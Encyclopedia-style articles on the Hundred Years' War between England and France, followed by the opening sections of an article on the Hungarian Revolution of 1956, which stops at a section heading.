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              Romantic painting of Joan of Arc at the Siege of Orlans.
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          The Hundred Years' War was a conflict between France and England, lasting 116 years from 1337 to 1453. It was fought primarily over claims by the English kings to the French throne and was punctuated by several brief and two lengthy periods of peace before it finally ended in the expulsion of the English from France, with the exception of the Calais Pale. Thus, the war was in fact a series of conflicts and is commonly divided into three or four phases: the Edwardian War (1337-1360), the Caroline War (1369-1389), the Lancastrian War (1415-1429), and the slow decline of English fortunes after the appearance of Joan of Arc, (1429-1453). The term "Hundred Years' War" was a later historical term invented by historians to describe the series of events.


          The war owes its historical significance to a number of factors. Though primarily a dynastic conflict, the war gave impetus to ideas of both French and English nationality. Militarily, it saw the introduction of new weapons and tactics, which eroded the older system of feudal armies dominated by heavy cavalry. The first standing armies in Western Europe since the time of the Western Roman Empire were introduced for the war, thus changing the role of the peasantry. For all this, as well as for its long duration, it is often viewed as one of the most significant conflicts in the history of medieval warfare.


          


          Background


          The background to the conflict can be found 400 years earlier, in 911, when Carolingian Charles the Simple allowed the Viking Rollo to settle in a part of his kingdom (a region known afterwards as " Normandy"). In 1066 the " Normans" were led by William the Conqueror (the Duke of Normandy) and conquered England, defeating the Anglo-Saxon leadership at the Battle of Hastings, and subsequently installed a new Anglo-Norman power structure. It is important to note for future events that starting with Rollo, Norman leaders were vassals to the King of France, even after they also became kings in England.


          Following a period of civil wars and unrest in England known as The Anarchy (1135-1154), the Anglo-Norman dynasty was succeeded by the Angevin Kings. At the height of power the Angevins controlled Normandy and England, along with Maine, Anjou, Touraine, Gascony, Saintonge and Aquitaine. Such assemblage of lands is sometimes known as the Angevin Empire. The king of England, who was still a vassal of the King of France, directly ruled more French territory than the King of France himself. This situation - where the Angevin kings owed vassalage to a ruler who was de facto much weaker - was a cause of continual conflict. The French resolved the situation somewhat in three decisive wars: the conquest of Normandy (1214), the Saintonge War (1242) and finally the War of Saint-Sardos (1324), thus reducing England's hold on the continent to a few small provinces in Gascony and the complete loss of the crown jewel of Normandy. By the early 14th century many in the English aristocracy could still remember a time when their grandparents and great-grandparents had control over wealthy continental regions, such as Normandy, which they also considered their ancestral homeland, and were motivated to regain possession of these territories.


          Notably, the Hundred Years' War is seen by many scholars as a chapter in the seemingly perpetual conflict between the English and French nations, as disputes and open war were frequent, which continued as late as the Napoleonic era, and which extended well beyond Europe as the two battled for global empires. The significance of the Hundred Years' war in this context is the rise of nationalism it engendered, compared to earlier medieval conflicts.


          


          Dynastic turmoil: 13141328


          The specific events leading up to the war took place in France, where the unbroken line of the Direct Capetian firstborn sons had succeeded each other for centuries. It was the longest continuous dynasty in medieval Europe. In 1314, the Direct Capetian, King Philip IV, died, leaving three male heirs: Louis X, Philip V, and Charles IV. The eldest son and heir, Louis X, died in 1316, leaving only his posthumous son John I, who was born and died that same year, and a daughter Joan, whose paternity was suspect.


          In order to ensure that he, rather than Joan, inherited the throne, Philip IV's second-eldest son, Philip V, used the rumours that Joan was a product of her mother's adultery to have her barred from the succession; a by-product of this being a precedent against women inheriting the French throne. When Philip died in 1322, his daughters too were put aside in favour of the third son of Philip IV, Charles IV.


          In 1324, Charles IV of France and Edward II of England fought the short War of Saint-Sardos in Gascony. The major event of the war was the brief siege of the English fortress of La Role, on the Garonne. The English forces, led by Edmund of Woodstock, Earl of Kent, were forced to surrender after a month of bombardment from the French cannons, and after promised reinforcements never arrived. The war was a complete failure for England, and only Bordeaux and a narrow coastal strip remained in English hands of the once great duchy of Aquitaine.


          The recovery of these lost lands became a major focus of English diplomacy. The war also galvanised opposition to Edward II among the English nobility and led to his eventual assassination ( 1327), which in turn caused the succession of the young Edward III. Charles IV died in 1328, leaving only a daughter, and an unborn infant which would prove to be a girl. The senior line of the Capetian dynasty thus ended, creating a crisis over the French succession.


          Meanwhile living in England, Charles IV's sister Isabella, widow of Edward II, was at the time effectively in control of the crown in the name of the young king. Edward III, being the nephew of Charles, was his closest living male relative, and was at that time the only surviving male descendant of the senior line of the Capetian dynasty descending through Philip IV. By the English interpretation of feudal law, this made Edward III the legitimate heir to the throne of France.
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          The French nobility, however, balked at the prospect of a foreign king, particularly one who was also king of England. They asserted, based on their interpretation of the ancient Salic Law, that the royal inheritance could not pass to a woman or through her to her offspring. Therefore, the most senior male of the Capetian dynasty after Charles IV, Philip of Valois, who had taken regency after Charles IV's death, was the legitimate heir in the eyes of the French, and was allowed to take the throne after Charles' widow gave birth to a daughter. He was crowned as Philip VI, the first of the House of Valois, a cadet branch of the Capetian dynasty.


          Joan II of Navarre, the daughter of Louis X, also had a good legal claim to the French throne, but lacked the power to back it up. The Kingdom of Navarre had no precedent against female rulers (the House of Capet having inherited it through Joan's grandmother, Joan I of Navarre), and so by treaty she and her husband, Philip of Evreux, were permitted to inherit that Kingdom; however, the same treaty forced Joan and her husband to accept the accession of Philip VI in France, and to surrender her heritary French domains of Champagne and Brie to the French crown in exchange for inferior estates. Joan and Philip of Evreux the produced a son, Charles II of Navarre. Born in 1332, Charles replaced Edward III as Philip IV's male heir in primogeniture, and in proximity to Louis X; although Edward remained the male heir in proximity to Saint Louis, Philip IV, and Charles IV.


          


          On the eve of war: 1328-1337


          After Philip's accession, the English still controlled Gascony. Gascony produced vital shipments of salt and wine, and was very profitable. It was a separate fief, held of the French crown, rather than a territory of England. The homage done for its possession was a bone of contention between the two kings. Philip VI demanded Edward's recognition as sovereign; Edward wanted the return of further lands lost by his father. A compromise "homage" in 1329 pleased neither side; but in 1331, facing serious problems at home, Edward accepted Philip as King of France and gave up his claims to the French throne. In effect, England kept Gascony, in return for Edward giving up his claims to be the rightful king of France.


          In 1333, Edward III went to war with David II of Scotland, a French ally under the Auld Alliance, and began the Second War of Scottish Independence. Philip saw the opportunity to reclaim Gascony while England's attention was concentrated northwards. However, the war was a quick success for England, and David was forced to flee to France after being defeated by King Edward and Edward Balliol at the Battle of Halidon Hill in July. In 1336, Philip made plans for an expedition to restore David to the Scottish throne, and to also seize Gascony.


          


          Beginning of the war: 13371360


          Open hostilities broke out as French ships began ravaging coastal settlements on the English Channel and in 1337 Philip reclaimed the Gascon fief, citing feudal law and saying that Edward had broken his oath (a felony) by not attending to the needs and demands of his lord. Edward III responded by saying he was in fact the rightful heir to the French throne, and on All Saints' Day, Henry Burghersh, Bishop of Lincoln, arrived in Paris with the defiance of the king of England. War had been declared.


          When the war began, France had a population of about 17 million, whereas England had about 4 million. Moreover, France was generally considered to have the most knights in Europe.
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          In the early years of the war, Edward III allied with the nobles of the Low Countries and the burghers of Flanders, but after two campaigns where nothing was achieved, the alliance fell apart in 1340. The payments of subsidies to the German princes and the costs of maintaining an army abroad dragged the English government into bankruptcy, heavily damaging Edwards prestige. At sea, France enjoyed supremacy for some time, through the use of Genoese ships and crews. Several towns on the English coast were sacked, some repeatedly. This caused fear and disruption along the English coast. There was a constant fear during this part of the war that the French would invade. France's sea power led to economic disruptions in England as it cut down on the wool trade to Flanders and the wine trade from Gascony. However, in 1340, while attempting to hinder the English army from landing, the French fleet was almost completely destroyed in the Battle of Sluys. After this, England was able to dominate the English Channel for the rest of the war, preventing French invasions.


          In 1341, conflict over the succession to the Duchy of Brittany began the Breton War of Succession, in which Edward backed John of Montfort and Philip backed Charles of Blois. Action for the next few years focused around a back and forth struggle in Brittany, with the city of Vannes changing hands several times, as well as further campaigns in Gascony with mixed success for both sides.


          In July 1346, Edward mounted a major invasion across the Channel, landing in the Cotentin. The English army captured Caen in just one day, surprising the French who had expected the city to hold out much longer. Philip gathered a large army to oppose him, and Edward chose to march northward toward the Low Countries, pillaging as he went, rather than attempting to take and hold territory. Finding himself unable to outmanoeuvre Philip, Edward positioned his forces for battle, and Philip's army attacked. The famous Battle of Crcy was a complete disaster for the French, largely credited to the English longbowmen. Edward proceeded north unopposed and besieged the city of Calais on the English Channel, capturing it in 1347. This became an important strategic asset for the English. It allowed them to keep troops in France safely. In the same year, an English victory against Scotland in the Battle of Neville's Cross led to the capture of David II and greatly reduced the threat from Scotland.


          In 1348, the Black Death began to ravage Europe. In 1356, after it had passed and England was able to recover financially, Edward's son and namesake, the Prince of Wales, known as the Black Prince, invaded France from Gascony, winning a great victory in the Battle of Poitiers, where the English archers repeated the tactics used at Crcy. The new French king, John II, was captured. John signed a truce with Edward, and in his absence, much of the government began to collapse. Later that year, the Second Treaty of London was signed, by which England gained possession of Aquitaine and John was freed.


          The French countryside at this point began to fall into complete chaos. Brigandage, the actions of the professional soldiery when fighting was at low ebb, was rampant. In 1358, the peasants rose in rebellion in what was called the Jacquerie. Edward invaded France, for the third and last time, hoping to capitalise on the discontent and seize the throne, but although no French army stood against him in the field, he was unable to take Paris or Rheims from the Dauphin, later King Charles V. He negotiated the Treaty of Brtigny which was signed in 1360. The English came out of this phase of the war with half of Brittany, Aquitaine (about a quarter of France), Calais, Ponthieu, and about half of France's vassal states as their allies, representing the clear advantage of a united England against a generally disunified France.


          


          First peace: 13601369


          When John's son Louis I, Duc d'Anjou, sent to the English as a hostage on John's behalf, escaped in 1362, John II chivalrously gave himself up and returned to captivity in England. He died in honourable captivity in 1364 and Charles V succeeded him as king of France.


          The Treaty of Brtigny had made Edward renounce his claim to the French crown. At the same time it greatly expanded his territory in Aquitaine and confirmed his conquest of Calais. In reality, Edward never renounced his claim to the French crown, and Charles made a point of retaking Edward's new territory as soon as he ascended to the throne. In 1369, on the pretext that Edward III had failed to observe the terms of the treaty of Brtigny, Charles declared war once again.


          


          French victories under Charles V: 13691389
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          The reign of Charles V saw the English steadily pushed back. Although the Breton war ended in their favour at the Battle of Auray, the dukes of Brittany eventually reconciled with the French throne. The Breton soldier Bertrand du Guesclin became one of the most successful French generals of the Hundred Years' War.


          Simultaneously, the Black Prince was occupied with war in Spain from 1366 and due to illness was relieved of command in 1371, whilst Edward III was too elderly to fight; providing France with even more advantages. Pedro of Castile, whose daughters Constance and Isabella were married to the Black Prince's brothers John of Gaunt and Edmund of Langley, was deposed by Henry of Trastmara in 1370 with the support of Du Guesclin and the French. War erupted between Castile and France on one side and Portugal and England on the other.


          With the death of John Chandos, seneschal of Poitou, in the field and the capture of the Captal de Buch, the English were deprived of some of their best generals in France. Du Guesclin, in a series of careful Fabian campaigns, avoiding major English field armies, captured many towns, including Poitiers in 1372 and Bergerac in 1377. The English response to Du Guesclin was to launch a series of destructive chevauches. But Du Guesclin refused to be drawn in by them.


          With the death of the Black Prince in 1376 and Edward III in 1377, the prince's underaged son Richard of Bordeaux succeeded to the English throne. Then, with Du Guesclin's death in 1380, the war inevitably wound down to a truce in 1389. The peace was extended many times before open war flared up again.


          


          Second peace: 13891415


          Although Henry IV of England planned campaigns in France, he was unable to put them into effect due to his short reign. In the meantime, though, the French King Charles VI was descending into madness, and an open conflict for power began between his cousin, John of Burgundy, and his brother, Louis of Orlans. After Louis's assassination, the Armagnac family took political power in opposition to John. By 1410, both sides were bidding for the help of English forces in a civil war.


          England too was plagued with internal strife during this period, as uprisings in Ireland and Wales were accompanied by renewed border war with Scotland and two separate civil wars. The Irish troubles embroiled much of the reign of Richard II, who had not resolved them by the time he lost his throne and life to his cousin Henry, who took power for himself in 1399. This was followed by the rebellion of Owain Glyndŵr in Wales which was not finally put down until 1415 and actually resulted in North Welsh semi-independence for a number of years. In Scotland, the change in regime in England prompted a fresh series of border raids which were countered by an invasion in 1402 and the destruction of a Scottish army at the Battle of Homildon Hill. A dispute over the spoils of this action between Henry and the Earl of Northumberland resulted in a long and bloody struggle between the two for control of northern England, which was only resolved with the almost complete destruction of the Percy family by 1408. Throughout this period, England was also faced with repeated raids by French and Scandinavian pirates, which heavily damaged the trade and navy. These problems accordingly delayed any resurgence of the dispute with France until 1415.


          


          English victories under Henry V: 14151429


          The final phase of warmaking that engulfed France between 1415 and 1435 is the most famous phase of the Hundred Years' War. Plans had been laid for the declaration of war since the rise to the throne of Henry IV, in 1399. However, it was his son, Henry V, who was finally given the opportunity. In 1414, Henry turned down an Armagnac offer to restore the Brtigny frontiers in return for his support. Instead, he demanded a return to the territorial status during the reign of Henry II. In August 1415, he landed with an army at Harfleur and took it. Although tempted to march on Paris directly, he elected to make a raiding expedition across France toward English-occupied Calais. In a campaign reminiscent of Crcy, he found himself outmaneuvered and low on supplies, and had to make a stand against a much larger French army at the Battle of Agincourt, north of the Somme. In spite of his disadvantages, his victory was near-total, and the French defeat was catastrophic, with the loss of many of the Armagnac leaders.
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          Henry took much of Normandy, including Caen in 1417 and Rouen on January 19, 1419, making Normandy English for the first time in two centuries. He made formal alliance with the Duchy of Burgundy, who had taken Paris, after the assassination of Duke John the Fearless in 1419. In 1420, Henry met with the mad king Charles VI, who signed the Treaty of Troyes, by which Henry would marry Charles' daughter Catherine and Henry's heirs would inherit the throne of France. The Dauphin, Charles VII, was declared illegitimate. Henry formally entered Paris later that year and the agreement was ratified by the Estates-General.


          Henry continued his progress through France, but died at Meaux in 1422. Soon, Charles too had died. Henry's infant son, Henry VI, was immediately crowned king of England and France, but the Armagnacs remained loyal to Charles' son and the war continued in central France.


          The English enjoyed continued military success until 1429. In that year, a Franco-Scottish army isolated a supply convoy led by John Fastolf. By circling his supply wagons (largely filled with herring) around his archers, he repelled the much larger army in what was to be one of the last English successes won on the backs of their outstanding longbowmen: the Battle of the Herrings. Later that year, however, a French saviour appeared in the form of a peasant woman from Lorraine named Joan of Arc.


          


          French resurgence: 14291453
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          By 1424, the uncles of Henry VI had begun to quarrel over the infant's regency, and one, Humphrey, Duke of Gloucester, married Jacqueline, Countess of Hainaut, and invaded Holland to regain her former dominions, bringing him into direct conflict with Philip III, Duke of Burgundy.


          By 1428, the English were ready to pursue the war again, laying siege to Orlans. Their force was insufficient to fully invest the city, but larger French forces remained passive. In 1429, Joan of Arc convinced the Dauphin to send her to the siege, saying she had received visions from God telling her to drive out the English. She raised the morale of the local troops and they attacked the English Redoubts, forcing the English to lift the siege. Inspired by Joan, the French took several English strong points on the Loire. Shortly afterwards, a French army, some 8000 strong, broke through English archers at Patay with heavy cavalry, defeating a 3000 strong army commanded by John Fastolf and John Talbot, 1st Earl of Shrewsbury. The first major French land victory of the wars, this opened the way for the Dauphin to march to Reims for his coronation as Charles VII.


          After Joan was captured by the Burgundians in 1430 and later sold to the English and executed, the French advance stalled in negotiations. But, in 1435, the Burgundians under Philip III switched sides, signing the Treaty of Arras and returning Paris to the King of France. Burgundy's allegiance remained fickle, but their focus on expanding their domains into the Low Countries left them little energy to intervene in France. The long truces that marked the war also gave Charles time to reorganise his army and government, replacing his feudal levies with a more modern professional army that could put its superior numbers to good use, and centralising the French state.


          Generally, though, the tactical superiority of English forces remained a potent factor; John Talbot, for instance, who specialised in fast attacks, routed French forces at Ry and Avranches in Normandy in 1436 and 1439 respectively. Talbot, one of the most daring warriors of the age, was the victor in 40 battles and skirmishes. This was one of the main reasons the war was so prolonged. The biographer of the Constable Richemont put it plainly when he wrote that "The English and their captains, above all Talbot, had a well established reputation for superiority, Richemont knew them better than anyone".


          But a repetition of Du Guesclin's battle avoidance strategy paid dividends and the French were able to recover town after town.


          By 1449, the French had retaken Rouen, and in 1450 the count of Clermont and Arthur de Richemont, Earl of Richmond, of the Montfort family (the future Arthur III, Duke of Brittany) caught an English army attempting to relieve Caen at the Battle of Formigny and defeated it, the English army having been attacked from the flank and rear by Richemont's force just as they were on the verge of beating Clermont's army. The French proceeded to capture Cherbourg on July 6 and Bordeaux and Bayonne in 1451. The attempt by Talbot to retake Gascony, though initially welcomed by the locals, was crushed by Jean Bureau and his cannon at the Battle of Castillon in 1453 where Talbot had led a small Anglo-Gascon force in a frontal attack on an entrenched camp. This is considered the last battle of the Hundred Years' War.


          


          Significance


          The Hundred Years' War was a time of military evolution. Weapons, tactics, army structure, and the societal meaning of war all changed, partly in response to the demands of the war, partly through advancement in technology, and partly through lessons that warfare taught.


          England was what might be considered a more modern state than France. It had a centralised authorityParliamentwith the authority to tax. As the military writer Colonel Alfred Burne notes, England had revolutionised its recruitment system, substituting a paid army for one drawn from feudal obligation. Professional captains were appointed who recruited troops for a specified (theoretically short) period. This "modern army", to some extent a necessitymany barons refused to go on a foreign campaign, as feudal service was supposed to be for protection of the realmalso gave England a military advantage early on.


          Before the Hundred Years' War, heavy cavalry was considered the most powerful unit in an army, but by the war's end this belief had shifted. The heavy horse was increasingly negated by the use of the longbow and fixed defensive positions of men-at-arms, tactics which helped lead to English victories at Crcy and Agincourt. Learning from the Scots, the English began using lightly armoured, mounted troops, who would dismount in order to fight battles. By the end of the Hundred Years' War this meant a fading of the expensively outfitted, highly trained heavy cavalry.


          Although they had a tactical advantage, "nevertheless the size of France prohibited lengthy, let alone permanent, occupation," as the military writer General Fuller noted. Covering a much larger area than England, and containing four times its population, France proved difficult for the English to occupy.


          An insoluble problem for English commanders was that, in an age of siege warfare, the more territory that was occupied, the greater the requirements for garrisons. This lessened the striking power of English armies as time went on. Salisbury's army at Orleans consisted of only 5,000 men, insufficient not only to invest the city but also numerically inferior to French forces within and without the city. The French only needed to recover some part of their shattered confidence, the result of many years of defeat, for the outcome to become inevitable. At Orleans they were assisted by the death of Salisbury through a fluke cannon shot and by the inspiration of Joan of Arc.


          Furthermore, the ending of the Burgundian alliance spelt the end of English efforts in France, despite the campaigns of the aggressive John, Lord Talbot, and his forces to stay the inevitable.


          The war also stimulated nationalistic sentiment. It devastated France as a land, but it also awakened French nationalism. The Hundred Years' War accelerated the process of transforming France from a feudal monarchy to a centralised state. The conflict became one of not just English and French kings but one between the English and French peoples. There were constant rumours in England that the French meant to invade and destroy the English language. National feeling emerged out of such rumours that unified both France and England further.


          The latter stages of the war saw the emergence of the dukes of Burgundy as important players on the political field, and it encouraged the English, in response to the seesawing alliance of the southern Netherlands (now Belgium, a rich centre of woolen production at the time) throughout the conflict, to develop their own woolen industry and foreign markets.


          


          Weapons
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          The most famous weapon was the English (or Welsh) longbow of the yeoman archer; while not a new weapon at the time, it played a significant role throughout the war, giving the English tactical advantage in the many battles and skirmishes in which they were used. The French mainly relied on crossbows, often employed by Genoese mercenaries. The crossbow was used because it took little training or skill to operate effectively. However, it was slow to reload, heavy, prone to rain damage, and lacked the accuracy of the longbow which was much quicker to reload. The longbow was a very difficult weapon to employ, and English archers had to have practiced from an early age to become proficient. It also required tremendous strength to use, with a draw weight typically around 140-150 pound-force(lbf) and possibly as high as 180 lbf. It was its widespread use in the British Isles that gave the English the ability to use it as a weapon. It was the strategic developments that brought it to prominence. The English in their battles with the Scots had learned through defeat what dismounted bowmen in fixed positions could do to heavy cavalry. Since the arrows shot from a longbow could kill or incapacitate plate-armoured knights, a charge could be dissipated before it ever reached an army's lines. The longbow enabled an often-outnumbered English army to pick battle locations, fortify them, and destroy opposing armies. As the Hundred Years' War came to a close, the number of capable longbowmen began to drop off and therefore the longbow as a weapon became less viable as there were not the men to wield them.


          A number of new weapons were introduced during the Hundred Years' War as well. Gunpowder, firearms and cannons played significant roles as early as 1375. The last battle of the war, the Battle of Castillon, was the first battle in European history in which artillery was the deciding factor.


          


          War and society


          The consequences of these new weapons meant that the nobility was no longer the deciding factor in battle; peasants armed with longbows or firearms could gain access to the power, rewards, and prestige once reserved only for knights who bore arms. The composition of armies changed, from feudal lords who might or might not show up when called by their lord, to paid mercenaries. By the end of the war, both France and England were able to raise enough money through taxation to create standing armies, the first time since the fall of the Western Roman Empire that there were standing armies in Western or Central Europe. Standing armies represented an entirely new form of power for kings. Not only could they defend their kingdoms from invaders, but standing armies could also protect the king from internal threats and also keep the population in check. It was a major step in the early developments towards centralised nation-states that eroded the medieval order.


          At the first major battle of the war, the Battle of Crcy, it is said that the age of chivalry came to an end. Ironically, there had been a revival of chivalry during this time, and it was deemed to be of the highest importance to fight, and to die, in the most chivalrous way possible. The English even apologised for fighting non-chivalrously, saying they had no choice since they were so unfairly outnumbered, leaving the dirty business to the Welsh (non-English or French speakers). It was a lesson the French would take a long time to learn at great cost, before they also began to fight in less chivalrous ways. The notion of chivalry was strongly influenced by the Romantic epics of the 12th century and knights literally imagined themselves re-enacting the stories on the field of battle. Someone like Bertrand Du Guesclin was said to have gone in to battle with one eye closed, declaring "I will not open my eye for the honour of my lady until I have killed three Englishmen." Knights often carried the colors of their ladies in to battle.


          In France during the captivity of King John II, the Estates General attempted to arrogate power from the king. The Estates General was a body of representatives from the three groups who traditionally had consultative rights in France: the clergy, the nobles, and the townspeople. First called together under Philip IV the Fair, the Estates had the right to confirm or disagree with the leve, the principal tax by which the kings of France raised money. Under the leadership of a merchant named Etienne Marcel, the Estates General attempted to force the monarchy to accept a sort of agreement called the Great Ordinance. Like the English Magna Carta, the Great Ordinance held that the Estates should supervise the collection and spending of the levy, meet at regular intervals independent of the kings call, exercise certain judicial powers, and generally play a greater role in government. The nobles took this power to excess, however, causing in 1358 a peasant rebellion known as the Jacquerie. Swarms of peasants furious over the nobles high taxes and forced-labour policies killed and burned in the north of France. One of their victims proved to be Etienne Marcel, and without his leadership the Estates General divided.


          The effects of the Hundred Years War in England also raised some questions about the extent of royal authority. Like the French, the English experienced a serious rebellion against the king during a gap in the succession caused by the death of Edward III when his grandson had not yet reached maturity. Called the Peasants' Revolt and also Wat Tylers Rebellion, the 1381 uprising threatened saw some 100,000 peasants march on London to protest the payment of high war taxes and efforts by the nobility to reduce English peasants to serfdom. The mob murdered and burned the houses of government officials and tax collectors. The young king-to-be, Richard II, met the peasants outside his castle, defusing their violence by promising to meet their demands. At the same time, agents of the throne murdered Wat Tyler, a key leader of the revolt, and Richard II sent the peasants back to their homes in the countryside. After they left, however, he reneged on his promises and kept taxes high.


          


          Major battles


          
            	1337 Battle of Cadsand initiates hostilities. The Flemish defenders of the island were thrown into disorder by the first use of the English longbow on Continental soil


            	1340 Battle of Sluys June 24 Edward III destroys the Franco-Genoese fleet of Philip VI of France off the coast of Flanders ensuring England will not be invaded and that the majority of the war will be fought in France.


            	1345 Longbow victory by Henry, Earl of Derby against a French army at Auberoche in Gascony


            	1346 Battle of Crcy August 26 English longbowmen soundly defeat French cavalry at Abbeville


            	1346- 1347 Siege of Calais


            	1350 Les Espagnols sur Mer English fleet defeats Castilian fleet in a close fight.


            	1351 Combat of the Thirty Thirty French Knights from Chateau Josselin under Beaumanoir call out and defeat thirty English Knights under Pembroke and Brambaugh


            	French army under De Nesle defeated by English under Bentley at Mauron in Brittany, De Nesle killed


            	1356 Battle of Poitiers Edward the Black Prince captures King John II of France, France plunges into chaos


            	1364 September 29 - Battle of Auray, end of Breton War of Succession French defeat, Du Gueschlin captured


            	1367 Battle of Njera (Navarette) Black Prince defeats a Castilian/French army at Njera in Spain


            	1372 Battle of La Rochelle Castilian-French fleet defeats the English fleet, leading to loss of dominance at sea and French piracy and coastal raids


            	1415 Battle of Agincourt October 25 English longbowmen under Henry V defeat French under Charles d'Albert


            	1416 English defeat numerically greater French army at Valmont near Harfleur


            	1417 Naval victory in the River Seine under Bedford


            	1418 Siege of Rouen July 31? January 19, 1419 Henry V of England gains a foothold in Normandy.


            	1419 Battle of La Rochelle (1419) Castilian fleet defeats Anglo-Hanseatic fleet


            	1421, 22 March Battle of Bauge The French and Scottish forces of Charles VII commanded by the Earl of Buchan defeat an outmanoeuvered English force commanded by the Duke of Clarence, the first English loss in a land battle of the Wars.


            	1423, 31 July Battle of Cravant. The French army is defeated at Cravant on the banks of the river Yonne.


            	1424, 17 August Battle of Vernuil. The Scots forces are decisively defeated


            	1426 March 6 French besieging army under Richemont dispersed by a small force under Sir Thomas Rempstone in "The Rout of St James" in Brittany


            	1429, 12 February Battle of the Herrings. English force under Sir John Fastolf defeats French army.


            	1428, 12 October - 8 May 1429 Siege of Orlans English forces commanded by the Earl of Salisbury, the Earl of Suffolk, and Talbot (Earl of Shrewsbury) lay siege to Orleans, and are forced to withdraw after a relief army accompanied by Joan of Arc arrives at the city.


            	1429, 17 July Battle of Patay A French army under La Hire, Richemont, Joan of Arc, and other commanders break through English archers under Lord Talbot and then pursue and mop up the other sections of the English army, killing or capturing about half (2,200) of their troops. The Earl of Shrewsbury (Talbot) and Hungerford are captured.


            	1435 Battle of Gerbevoy La Hire defeats an English force under Arundel


            	1436 John Talbot, 1st Earl of Shrewsbury routs a larger French force under La Hire and Xantrailles at Ry near Rouen


            	1437 John Talbot defeats the Burgundians at Crotoy


            	1439 John Talbot disperses a French army of 6000 under the Constable Richemont at Avranches in Normandy.


            	1440 John Talbot takes Harfleur


            	1450 Battle of Formigny Two French armies under the Count of Clermont and the Earl of Richmond defeat the English under Kyriell


            	1453 Battle of Castillon The Valois use cannon to defeat the Lancastrians and end the Hundred Years' War. The 70-year old Talbot is killed while trying to rally his fleeing troops

          


          


          Important people


          
            
              England
            

            
              	King Edward III

              	1327- 1377

              	Edward II's son
            


            
              	King Richard II

              	1377- 1399

              	Edward III's grandson
            


            
              	King Henry IV

              	1399- 1413

              	Edward III's grandson
            


            
              	King Henry V

              	1413- 1422

              	Henry IV's son
            


            
              	King Henry VI

              	1422- 1461

              	Henry V's son
            


            
              	

              	

              	
            


            
              	Edward, the Black Prince

              	1330- 1376

              	Son of Edward III
            


            
              	Henry of Grosmont, 1st Duke of Lancaster

              	1306- 1361

              	Knight
            


            
              	John Talbot, 1st Earl of Shrewsbury

              	1384- 1453

              	Knight
            


            
              	Sir John Fastolf

              	1378?- 1459

              	Knight
            

          


          
            
              France
            

            
              	King Philip VI the Fortunate

              	1328- 1350

              	
            


            
              	King John II the Good

              	1350- 1364

              	
            


            
              	King Charles V the Wise

              	1364- 1380

              	
            


            
              	King Charles VI the Well-Beloved or the Mad

              	1380- 1422

              	
            


            
              	Louis I of Anjou

              	1380- 1382

              	Regent for Charles VI
            


            
              	King Charles VII the Victorious

              	1422- 1461

              	
            


            
              	

              	

              	
            


            
              	Joan of Arc

              	1412-1431

              	
            


            
              	Jean de Dunois

              	1403-1468

              	Jean d'Orlans
            


            
              	Gilles de Rais

              	1404-1440

              	
            


            
              	Bertrand du Guesclin

              	1320-1380

              	
            


            
              	Jean Bureau

              	

              	
            


            
              	La Hire

              	1390-1443

              	
            

          


          


          Continuing English claim to the French throne


          After the end of the Hundred Years' War, England continued to make claims on the French throne for years afterwards until the Act of Union in 1801. In that act, the title of King of France was omitted from the new royal style.
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              	Hungarian Revolution of 1956
            


            
              	Part of the Cold War
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                    	Date

                    	23 October 1956 10 November 1956
                  


                  
                    	Location

                    	Hungary
                  


                  
                    	Result

                    	Revolution Crushed
                  

                

              
            


            
              	Belligerents
            


            
              	[image: Flag of Hungary] VH (Hungarian State Protection Authority)

              	[image: ] Ad hoc local Hungarian militias
            


            
              	Commanders
            


            
              	[image: Flag of the Soviet Union] Ivan Konev

              	Various independent militia leaders
            


            
              	Strength
            


            
              	150,000 troops,

              6,000 tanks

              	Unknown number of militia and rebelling soldiers
            


            
              	Casualties and losses
            


            
              	(Soviet casualties only)

              722 killed

              1,251 wounded

              	2,500 killed (est.)

              13,000 wounded (est.)
            

          


          The Hungarian Revolution of 1956 was a spontaneous nationwide revolt against the Stalinist government of Hungary and its Soviet-imposed policies, lasting from October 23 until 10 November 1956. It began as a student demonstration which attracted thousands as it marched through central Budapest to the Parliament building. A student delegation entering the radio building in an attempt to broadcast their demands was detained. When the delegation's release was demanded by the demonstrators outside, they were fired upon by the State Security Police (VH) from within the building. The news spread quickly and disorder and violence erupted throughout the capital.


          The revolt spread quickly across Hungary, and the government fell. Thousands organized into militias, battling the State Security Police (VH) and Soviet troops. Pro-Soviet communists and VH members were often executed or imprisoned, as former prisoners were released and armed. Impromptu councils wrested municipal control from the Communist Party, and demanded political changes. The new government formally disbanded the VH, declared its intention to withdraw from the Warsaw Pact and pledged to re-establish free elections. By the end of October, fighting had almost stopped and a sense of normality began to return.


          After announcing a willingness to negotiate a withdrawal of Soviet forces, the Politburo changed its mind and moved to crush the revolution. On 4 November, a large Soviet force invaded Budapest. Hungarian resistance continued until 10 November. An estimated 2,500 Hungarians died, and 200,000 more fled as refugees. Mass arrests and denunciations continued for months thereafter. By January 1957, the new Soviet-installed government had suppressed all public opposition. These Soviet actions alienated many Western Marxists, yet strengthened Soviet control over Central Europe, cultivating the perception that communism was both irreversible and monolithic.


          Public discussion about this revolution was suppressed in Hungary for over 30 years, but since the thaw of the 1980s it has been a subject of intense study and debate. At the inauguration of the Third Hungarian Republic in 1989, 23 October was declared a national holiday.


          


          Prelude


          After World War II, the Soviet military occupied Hungary and gradually replaced the freely elected government with the Hungarian Communist Party. Radical nationalization of the economy based on the Soviet model produced economic stagnation, lower standards of living and a deep malaise. Writers and journalists were the first to voice open criticism, publishing critical articles in 1955. By October 22, 1956, University students had resurrected the banned MEFESZ student union, and staged a demonstration on October 23 which set off a chain of events leading directly to the revolution.


          


          Postwar occupation


          After World War II, Hungary fell under the Soviet sphere of influence and was occupied by the Red Army. By 1949, the Soviets had concluded a mutual assistance treaty with Hungary which granted the Soviet Union rights to a continued military presence, assuring ultimate political control.


          Hungary began the postwar period as a multiparty free democracy, and elections in 1945 produced a coalition government under Prime Minister Zoltn Tildy. However, the Soviet-supported Hungarian Communist Party, which had received only 17% of the vote, constantly wrested small concessions in a process named " salami tactics", which sliced away the elected government's influence.


          In 1945, Soviet Marshal Kliment Voroshilov forced the freely elected Hungarian government to yield the Interior Ministry to the Hungarian Communist Party. Communist Interior Minister Lszl Rajk established the Hungarian State Security Police (llamvdelmi Hatsg, later known as the VH), which employed methods of intimidation, false accusations, imprisonment and torture, to suppress political opposition. The brief period of multiparty democracy came to an end when the Hungarian Communist Party merged with the Social Democratic Party to become the Hungarian Workers' Party, which stood its candidate list unopposed in 1949. The People's Republic of Hungary was declared.


          


          Political repression and economic decline


          


